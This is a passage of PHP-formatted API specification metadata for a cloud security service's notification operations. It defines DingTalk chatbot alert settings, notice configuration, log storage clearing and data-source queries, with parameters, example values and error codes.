'in' => 'query', 'schema' => [ 'description' => 'The name of the Logstore that stores logs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas_sls_storage', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'DC84C453-8561-5EC4-B0E9-44E67ACCB5B5', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"DC84C453-8561-5EC4-B0E9-44E67ACCB5B5\\"\\n}","errorExample":""},{"type":"xml","example":"\\n DC84C453-8561-5EC4-B0E9-44E67ACCB5B5\\n","errorExample":""}]', 'title' => 'ModifyClearLogstoreStorage', 'description' => 'Deleted logs cannot be restored. Before you call this operation to delete all logs and free up log storage, we recommend that you export and save your logs to your computer.'."\n", ], 'DingTalkOnlineTest' => [ 'summary' => 'Tests whether DingTalk notification configurations are valid.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the DingTalk notification configuration.'."\n" .'> You can call the [DescribeDingTalk](~~DescribeDingTalk~~) operation to obtain the ID.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '2373', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '2E96F605-1BE3-5954-83A5-AE96C617****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2E96F605-1BE3-5954-83A5-AE96C617****\\"\\n}","type":"json"}]', 'title' => 'DingTalkOnlineTest', ], 'DeleteDingTalk' => [ 'summary' => 'Deletes a DingTalk chatbot on the DingTalk Chatbot tab of the Notification Settings page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91957', 'abilityTreeNodes' => [ 'FEATUREsasDM8NT3', ], ], 'parameters' => [ [ 'name' => 'Ids', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the notification from the DingTalk chatbot. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeDingTalk](~~DescribeDingTalk~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => true, 'example' => '2170,256', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'BF3D4ACB-CE17-559F-B850-490E42CDDC7E', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BF3D4ACB-CE17-559F-B850-490E42CDDC7E\\"\\n}","type":"json"}]', 'title' => 'DeleteDingTalk', ], 'ModifyDingTalkStatus' => [ 'summary' => 'Changes the notification status of a DingTalk chatbot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92363', 'abilityTreeNodes' => [ 'FEATUREsasDM8NT3', ], ], 'parameters' => [ [ 'name' => 'Ids', 'in' => 'query', 'schema' => [ 'description' => 'The notification IDs of DingTalk chatbots. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeDingTalk](~~DescribeDingTalk~~) operation to query the notification IDs.'."\n", 'type' => 'string', 'required' => true, 'example' => '2259', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The notification status of a DingTalk chatbot. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '81DCBD76-196C-57A5-9C7D-F14DE8E1****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"81DCBD76-196C-57A5-9C7D-F14DE8E1****\\"\\n}","type":"json"}]', 'title' => 'ModifyDingTalkStatus', 'description' => 'You can call this operation only if you use Security Center Enterprise.'."\n", ], 'CreateOrUpdateDingTalk' => [ 'summary' => 'Creates or modifies a DingTalk chatbot that sends notifications.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91933', 'abilityTreeNodes' => [ 'FEATUREsasDM8NT3', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the chatbot.'."\n" ."\n" .'> You can call the [DescribeDingTalk](https://www.alibabacloud.com/help/en/security-center/developer-reference/api-sas-2018-12-03-describedingtalk/?spm=a2c63.p38356.0.0.681e4360Qd1eb1) operation to query the IDs of chatbots.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1589', ], ], [ 'name' => 'RuleActionName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the chatbot.'."\n" ."\n" .'> The name of a chatbot must be 2 to 64 characters in length.'."\n", 'type' => 'string', 'required' => true, 'example' => 'testNotify', ], ], [ 'name' => 'SendUrl', 'in' => 'query', 'schema' => [ 'description' => 'The webhook URL.'."\n", 'type' => 'string', 'required' => true, 'example' => 'https://oapi.dingtalk.com/robot/send?access_token=XXX', ], ], [ 'name' => 'IntervalTime', 'in' => 'query', 'schema' => [ 'description' => 'The time interval at which the chatbot sends notifications.'."\n" ."\n" .'> The value **0** indicates unlimited.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '0', ], ], [ 'name' => 'ConfigList', 'in' => 'query', 'schema' => [ 'description' => 'The alerts for which you want the chatbot to send notifications. The value is a JSON array that contains the following fields:'."\n" ."\n" .'* **type**: the types of alerts. The valid values are listed in the "Additional description of parameters" section in this topic.'."\n" ."\n" .'* **configItemList**: the list of check items. The value is a JSON array that contains the following fields:'."\n" ."\n" .' * **key**: the key of the check item.'."\n" .' * **valueList**: the values of the check item. The value of valueList is a JSON array.'."\n" ."\n" .'> For more information about the value of this parameter, see the "Addition description of parameters" section in this topic.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"type":"sas_analysis_online-sas-operation-log-sas-event-suspicious","configItemList":[{"key":"item_level","valueList":["all"]},{"key":"event_type","valueList":["all"]}]}]', ], ], [ 'name' => 'GroupIdList', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of asset groups for which you want the chatbot to send notifications. The value is a JSON array.'."\n" ."\n" .'> You can call the [DescribeGroupStruct](~~DescribeGroupStruct~~) operation to query the IDs of asset groups.'."\n", 'type' => 'string', 'required' => false, 'example' => '["10417151"]', ], ], [ 'name' => 'DingTalkLang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the notifications. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '76975B7A-34DC-5CB6-9538-91700D4F112E', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"76975B7A-34DC-5CB6-9538-91700D4F112E\\"\\n}","type":"json"}]', 'title' => 'CreateOrUpdateDingTalk', 'requestParamsDescription' => 'Additional description of parameters'."\n" ."\n" .'|||||||'."\n" .'|---|---|---|---|---|---|'."\n" .'|type|Description|key|Description|valueList|Description|'."\n" .'|sas\\_analysis\\_online-sas-operation-log-sas-event-vul|Vulnerabilities|type|Vulnerability type|all|All|'."\n" .'|cms|Web-CMS vulnerability|'."\n" .'|oval|Linux software vulnerability|'."\n" .'|sys|Windows system vulnerability|'."\n" .'|emg|Urgent vulnerability|'."\n" .'|necessity|Risk level|all|All|'."\n" .'|asap|High|'."\n" .'|later|Medium|'."\n" .'|nntf|Low|'."\n" .'|sas\\_analysis\\_online-sas-operation-log-sas-event-hc|Baseline risks|item\\_level|Risk level|all|All|'."\n" .'|high|High|'."\n" .'|medium|Medium|'."\n" .'|low|Low|'."\n" .'|sas\\_analysis\\_online-sas-operation-log-sas-event-suspicious|Alerts|item\\_level|Severity|all|All|'."\n" .'|serious|Critical|'."\n" .'|suspicious|Suspicious|'."\n" .'|remind|Remind|'."\n" .'|event\\_type|Alert type|'."\n" .'|all|All|'."\n" .'|Suspicious process|Suspicious process|'."\n" .'|Webshell|Webshell|'."\n" .'|Unusual logon|Unusual logon|'."\n" .'|Exception|Exception|'."\n" .'|Sensitive file tampering|Sensitive file tampering|'."\n" .'|Malicious process (cloud threat detection)|Malicious process (cloud threat detection)|'."\n" .'|Unusual network connection|Unusual network connection|'."\n" .'|Others|Others|'."\n" .'|Abnormal account|Abnormal account|'."\n" .'|Application intrusion event|Application intrusion event|'."\n" .'|Cloud threat detection|Cloud threat detection|'."\n" .'|Precision defense|Precision defense|'."\n" .'|Application whitelist|Application whitelist|'."\n" .'|Persistent webshell|Persistent webshell|'."\n" .'|sas\\_analysis\\_online-sas-operation-log-sas-event-ak-leakage|AccessKey pair leaks|type|Leak type|all|All|'."\n" .'|sas\\_analysis\\_online-sas-operation-log-sas-event-honeypot|Alerts generated by cloud honeypot|item\\_level|Risk level|all|All|'."\n" .'|high|High|'."\n" .'|medium|Medium|'."\n" .'|low|Low|'."\n" .'|sas\\_analysis\\_online-sas-operation-log-sas-event-rasp|Alerts generated by application protection|item\\_level|Risk level|all|All|'."\n" .'|high|High|'."\n" .'|medium|Medium|'."\n" .'|low|Low|', ], 'ModifyNoticeConfig' => [ 'summary' => 'Modifies notification settings.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92377', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '42.178.XX.XX', ], ], [ 'name' => 'Route', 'in' => 'query', 'schema' => [ 'description' => 'The notification method. Valid values:'."\n" ."\n" .'* **1**: text message'."\n" .'* **2**: email'."\n" .'* **4**: internal message'."\n" .'* **3**: text message and email'."\n" .'* **5**: text message and internal message'."\n" .'* **6**: email and internal message'."\n" .'* **7**: text message, email, and internal message'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '4', ], ], [ 'name' => 'Project', 'in' => 'query', 'schema' => [ 'description' => 'The identifier of the notification item. Valid values:'."\n" ."\n" .'* **yundun\\_security_Weekreport**: notification for vulnerabilities'."\n" .'* **yundun\\_sas\\_antiransomware_task**: notification for results of restoration tasks'."\n" .'* **sas_healthcheck**: notification for baseline checks'."\n" .'* **sas_suspicious**: notification for alerts generated by Security Center'."\n" .'* **yundun\\_aegis\\_AV_true**: notification for precision defense'."\n" .'* **yundun\\_sas\\_ak_leakage**: notification for AccessKey pair leaks'."\n" .'* **yundun\\_sas\\_config_alert**: notification for configuration assessment'."\n" .'* **yundun\\_sas\\_vul_Emergency**: notification for urgent vulnerabilities'."\n" .'* **yundun\\_webguard_event**: notification for web tamper proofing'."\n" .'* **yundun\\_sas\\_cloud\\_native_firewall**: notification for alerts generated by the container firewall feature'."\n" .'* **yundun\\_sas\\_cloud\\_native\\_firewall_Defense**: notification for proactive defense implemented by the container firewall feature'."\n" .'* **yundun\\_IP_Blocking**: notification for blocked brute-force attacks initiated from malicious IP addresses'."\n" .'* **yundun\\_sas\\_anti\\_virus_config**: notification for virus scan'."\n" .'* **yundun\\_sas_log**: notification for excess logs'."\n" .'* **yundun\\_honeypot_alarm**: notification for alerts generated by the honeypot feature'."\n" .'* **aliyun\\_rasp_alarm**: notification for alerts generated by the application security feature'."\n" .'* **virusScheduleTask**: notification for completion of scheduled virus scans'."\n" .'* **yundun\\_anti_Virus**: notification that no security checks are performed'."\n" .'* **sas_vulnerability**: notification for vulnerabilities'."\n" .'* **weeklyreport**: notification for weekly reports'."\n" .'* **agent**: notification that the Security Center agent is offline'."\n" .'* **bruteforcesuccess**: notification for protection against brute-force attacks'."\n" .'* **webshell**: notification for webshells'."\n" .'* **suspicious**: notification for alerts generated by Server Guard'."\n" .'* **patch**: deprecated'."\n" .'* **remotelogin**: notification for remote logons'."\n" .'* **health**: notification for security checks'."\n" .'* **yundun\\_sas\\_cloudsiem_log**: notifications of insufficient threat analysis log capacity'."\n" ."\n" .'> If the value is **yundun\\_security_Weekreport**, weekly reports are sent to notify you of unhandled vulnerabilities.', 'type' => 'string', 'required' => false, 'example' => 'yundun_webguard_event', ], ], [ 'name' => 'TimeLimit', 'in' => 'query', 'schema' => [ 'description' => 'The time period during which Security Center sends notifications. Valid values:'."\n" ."\n" .'* **0**: any time'."\n" .'* **1**: 08:00 to 22:00'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'BizType', 'in' => 'query', 'schema' => [ 'description' => 'Notification configuration type, default is SMS/email/in-site message. Value:'."\n" .'- **cms**: Cloud Monitor push', 'type' => 'string', 'required' => false, 'example' => 'cms', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5989D067-621F-51E2-A636-D94D1388****', ], ], 'description' => 'The data returned.', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5989D067-621F-51E2-A636-D94D1388****\\"\\n}","type":"json"}]', 'title' => 'ModifyNoticeConfig', 'translator' => 'machine', ], 'DescribeDingTalk' => [ 'summary' => 'Obtains DingTalk notifications.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'RuleActionName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the notification.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Vulnerability notification'."\n", ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.Default value: 20.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.Default value: 1.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'B256A525-7E42-4BB9-A27C-9017FDDFF1A2', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of messages.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], 'ActionList' => [ 'description' => 'An array that consists of details of notifications.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the notification. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ConfigList' => [ 'description' => 'The list of notification settings.'."\n", 'type' => 'string', 'example' => '[{\\"type\\":\\"vul\\",\\"configItemList\\":[{\\"key\\":\\"key\\", \\"valueList\\":\\"123\\"}]}]', ], 'GmtCreate' => [ 'description' => 'The creation time. unit:millisecond.', 'type' => 'integer', 'format' => 'int64', 'example' => '1550828400000', ], 'ActionName' => [ 'description' => 'The name of the notification.'."\n", 'type' => 'string', 'example' => 'Alert notification'."\n", ], 'Url' => [ 'description' => 'The parameters of the notification.'."\n", 'type' => 'string', 'example' => 'https://oapi.dingtalk.com/robot/send', ], 'AliUid' => [ 'description' => 'The UID of the user.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '12312412341', ], 'DingTalkLang' => [ 'description' => 'The language of the content within notifications. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'example' => 'zh', ], 'IntervalTime' => [ 'description' => 'The interval at which the notifications are sent.unit:minute.', 'type' => 'integer', 'format' => 'int32', 'example' => '1000', ], 'GmtModified' => [ 'description' => 'The modification time.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1550828400000', ], 'GroupIdList' => [ 'description' => 'The group IDs.'."\n", 'type' => 'string', 'example' => '"123,456"', ], 'Id' => [ 'description' => 'The ID of the notification.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B256A525-7E42-4BB9-A27C-9017FDDFF1A2\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149\\n },\\n \\"ActionList\\": [\\n {\\n \\"Status\\": 0,\\n \\"ConfigList\\": \\"[{\\\\\\"type\\\\\\":\\\\\\"sas_analysis_pre-sas-operation-log-sas-event-suspicious\\\\\\",\\\\\\"configItemList\\\\\\":[{\\\\\\"key\\\\\\":\\\\\\"item_level\\\\\\",\\\\\\"valueList\\\\\\":[\\\\\\"all\\\\\\"]}]},{\\\\\\"type\\\\\\":\\\\\\"sas_analysis_pre-sas-operation-log-sas-event-hc\\\\\\",\\\\\\"configItemList\\\\\\":[{\\\\\\"key\\\\\\":\\\\\\"item_level\\\\\\",\\\\\\"valueList\\\\\\":[\\\\\\"all\\\\\\"]}]}]\\",\\n \\"GmtCreate\\": 1550828400000,\\n \\"ActionName\\": \\"TestRuleAction\\",\\n \\"Url\\": \\"https://oapi.dingtalk.com/robot/send\\",\\n \\"AliUid\\": 12312412341,\\n \\"DingTalkLang\\": \\"zh\\",\\n \\"IntervalTime\\": 1000,\\n \\"GmtModified\\": 1550828400000,\\n \\"GroupIdList\\": \\"\\\\\\"123,456\\\\\\"\\",\\n \\"Id\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeDingTalk', ], 'DescribeNoticeConfig' => [ 'summary' => 'Queries notification settings.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasDM8NT3', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '60.191.XX.XX', ], ], [ 'name' => 'BizType', 'in' => 'query', 'schema' => [ 'description' => 'Notification configuration type, with values:'."\n" .'- **Default (not provided)**: SMS/Email/Site Message '."\n" .'- **cms**: Cloud Monitor Push', 'type' => 'string', 'required' => false, 'example' => 'cms', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D185B7FF-E24C-422D-83D3-C2A25C7A2727', ], 'NoticeConfigList' => [ 'description' => 'An array that consists of the notification settings.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The notification settings.'."\n", 'type' => 'object', 'properties' => [ 'TimeLimit' => [ 'description' => 'The time period during which Security Center sends notifications. Valid values:'."\n" ."\n" .'* **0**: any time'."\n" .'* **1**: 08:00 to 22:00'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AliUid' => [ 'description' => 'The ID of the user.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '12123414****', ], 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Project' => [ 'description' => 'The identifier of the notification item. Valid values:'."\n" ."\n" .'* **yundun\\_security_Weekreport**: notification for vulnerabilities'."\n" .'* **yundun\\_sas\\_antiransomware_task**: notification for results of restoration tasks'."\n" .'* **sas_healthcheck**: notification for baseline checks'."\n" .'* **sas_suspicious**: notification for alerts generated by Security Center'."\n" .'* **yundun\\_aegis\\_AV_true**: notification for precision defense'."\n" .'* **yundun\\_sas\\_ak_leakage**: notification for AccessKey pair leaks'."\n" .'* **yundun\\_sas\\_config_alert**: notification for configuration assessment'."\n" .'* **yundun\\_sas\\_vul_Emergency**: notification for urgent vulnerabilities'."\n" .'* **yundun\\_webguard_event**: notification for web tamper proofing'."\n" .'* **yundun\\_sas\\_cloud\\_native_firewall**: notification for alerts generated by the container firewall feature'."\n" .'* **yundun\\_sas\\_cloud\\_native\\_firewall_Defense**: notification for proactive defense implemented by the container firewall feature'."\n" .'* **yundun\\_IP_Blocking**: notification for blocked brute-force attacks initiated from malicious IP addresses'."\n" .'* **yundun\\_sas\\_anti\\_virus_config**: notification for virus scan'."\n" .'* **yundun\\_sas_log**: notification for excess logs'."\n" .'* **yundun\\_honeypot_alarm**: notification for alerts generated by the honeypot feature'."\n" .'* **aliyun\\_rasp_alarm**: notification for alerts generated by the application security feature'."\n" .'* **virusScheduleTask**: notification for completion of scheduled virus scans'."\n" .'* **yundun\\_anti_Virus**: notification that no security checks are performed'."\n" .'* **sas_vulnerability**: notification for vulnerabilities'."\n" .'* **weeklyreport**: notification for weekly reports'."\n" .'* **agent**: notification that the Security Center agent is offline'."\n" .'* **bruteforcesuccess**: notification for protection against brute-force attacks'."\n" .'* **webshell**: notification for webshells'."\n" .'* **suspicious**: notification for alerts generated by Server Guard'."\n" .'* **patch**: deprecated'."\n" .'* **remotelogin**: notification for remote logons'."\n" .'* **health**: notification for security checks'."\n" .'* **yundun\\_sas\\_cloudsiem_log**: notifications of insufficient threat analysis log capacity'."\n" ."\n" .'> If the value is **yundun\\_security_Weekreport**, weekly reports are sent to notify you of unhandled vulnerabilities.', 'type' => 'string', 'example' => 'sas_suspicious', ], 'Route' => [ 'description' => 'The notification method. Valid values:'."\n" ."\n" .'* **1**: text message'."\n" .'* **2**: email'."\n" .'* **4**: internal message'."\n" .'* **3**: text message and email'."\n" .'* **5**: text message and internal message'."\n" .'* **6**: email and internal message'."\n" .'* **7**: text message, email, and internal message'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'Category' => [ 'description' => 'Business categories under cloud monitoring notification configuration. Values:'."\n" .'- **Incident**: Security incidents. '."\n" .'- **Suspicious**: Security alerts. '."\n" .'- **Hc**: Baseline checks. '."\n" .'- **Cspm**: Cloud Security Posture Management. '."\n" .'- **Agentless**: Agentless detection. '."\n" .'- **Filedetect**: Malicious file SDK. '."\n" .'- **Vul**: Vulnerabilities. '."\n" .'- **Rasp**: Application protection.', 'type' => 'string', 'example' => 'Cspm', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'UnknownError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D185B7FF-E24C-422D-83D3-C2A25C7A2727\\",\\n \\"NoticeConfigList\\": [\\n {\\n \\"TimeLimit\\": 1,\\n \\"AliUid\\": 0,\\n \\"CurrentPage\\": 1,\\n \\"Project\\": \\"sas_suspicious\\",\\n \\"Route\\": 7,\\n \\"Category\\": \\"Cspm\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeNoticeConfig', 'translator' => 'machine', ], 'DescribeDataSource' => [ 'summary' => 'Queries data sources for DingTalk notifications. You can configure the types of alerts for which you want to use a DingTalk chatbot to send notifications based on the data sources.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92053', 'abilityTreeNodes' => [ 'FEATUREsasDM8NT3', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '39.155.*.*', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ConfigType', 'in' => 'query', 'schema' => [ 'description' => 'The method that is used to send alert notifications. Set the value to DingTalk.'."\n", 'type' => 'string', 'required' => false, 'example' => 'DingTalk', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDXXXX', ], 'MetaDatas' => [ 'description' => 'The metadata of the data sources.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The metadata of the data source.'."\n", 'type' => 'object', 'properties' => [ 'Description' => [ 'description' => 'The description of the data source.'."\n", 'type' => 'string', 'example' => 'dingtalk_suspicious', ], 'DataSourceName' => [ 'description' => 'The name of the data source.'."\n", 'type' => 'string', 'example' => 'sas_analysis_pre-sas-operation-log-sas-event-suspicious', ], 'DataSourceId' => [ 'description' => 'The ID of the data source.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1753', ], 'MetaDataFields' => [ 'description' => 'The metadata files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The metadata file.'."\n", 'type' => 'object', 'properties' => [ 'ValueType' => [ 'description' => 'The value type of the field.'."\n", 'type' => 'string', 'example' => 'string', ], 'Filed' => [ 'description' => 'The key of the field.'."\n", 'type' => 'string', 'example' => 'type', ], 'FiledName' => [ 'description' => 'The name of the field.'."\n", 'type' => 'string', 'example' => 'dingtalk_vul_type', ], 'Sample' => [ 'description' => 'The sample field.'."\n", 'type' => 'string', 'example' => 'all:dingtalk_all;cms:dingtalk_vul_cms;oval:dingtalk_vul_cve;sys:dingtalk_vul_sys;emg:dingtalk_vul_emg', ], 'OperatorList' => [ 'description' => 'The operators.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operator.'."\n", 'type' => 'object', 'properties' => [ 'Description' => [ 'description' => 'The description of the operator.'."\n", 'type' => 'string', 'example' => 'dingtalk_vul', ], 'Name' => [ 'description' => 'The name of the operator.'."\n", 'type' => 'string', 'example' => 'regex', ], ], ], ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 